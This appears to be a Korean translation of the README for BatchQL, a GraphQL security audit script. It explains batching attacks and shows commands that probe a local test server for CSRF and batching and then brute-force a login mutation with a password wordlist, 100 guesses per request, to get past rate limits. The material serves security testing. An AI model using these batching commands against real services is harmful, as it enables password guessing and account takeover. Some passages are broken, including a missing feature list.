
GraphQL 보안 감사 스크립트로, 배치 GraphQL 쿼리 및 뮤테이션 수행에 중점을 둡니다.
BatchQL은 GraphQL 보안 감사 스크립트로, 일괄 GraphQL 쿼리 및 뮤테이션을 수행하는 데 중점을 둡니다. 이 스크립트는 복잡하지 않으며, 개선을 환영합니다.
GraphQL 일괄 처리 공격 문제 공간을 탐색할 때, 인터넷에 몇 가지 블로그 게시물이 있다는 것을 발견했지만, GraphQL 일괄 처리 공격을 수행할 도구는 없었습니다.
GraphQL 일괄 처리 공격은 구현된 기능에 따라 매우 심각할 수 있습니다. 예를 들어, 이메일로 전송된 4자리 PIN을 요구하는 비밀번호 재설정 기능을 가정해 보겠습니다. 이 도구를 사용하면 단일 GraphQL 쿼리로 10,000개의 PIN 시도를 모두 시도할 수 있습니다. 비밀번호 재설정 흐름의 구현 세부 사항에 따라 속도 제한이나 계정 잠금을 우회할 수 있습니다.
이 도구는 다음을 탐지할 수 있습니다:
현재 이 도구는 일괄 처리 공격을 위해 JSON 목록 기반 쿼리 전송만 지원합니다. 변수가 쿼리에 포함되어 있거나 JSON 입력으로 제공되는 시나리오를 지원합니다.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt)을 저장합니다:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
위 명령은 다음을 수행합니다:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080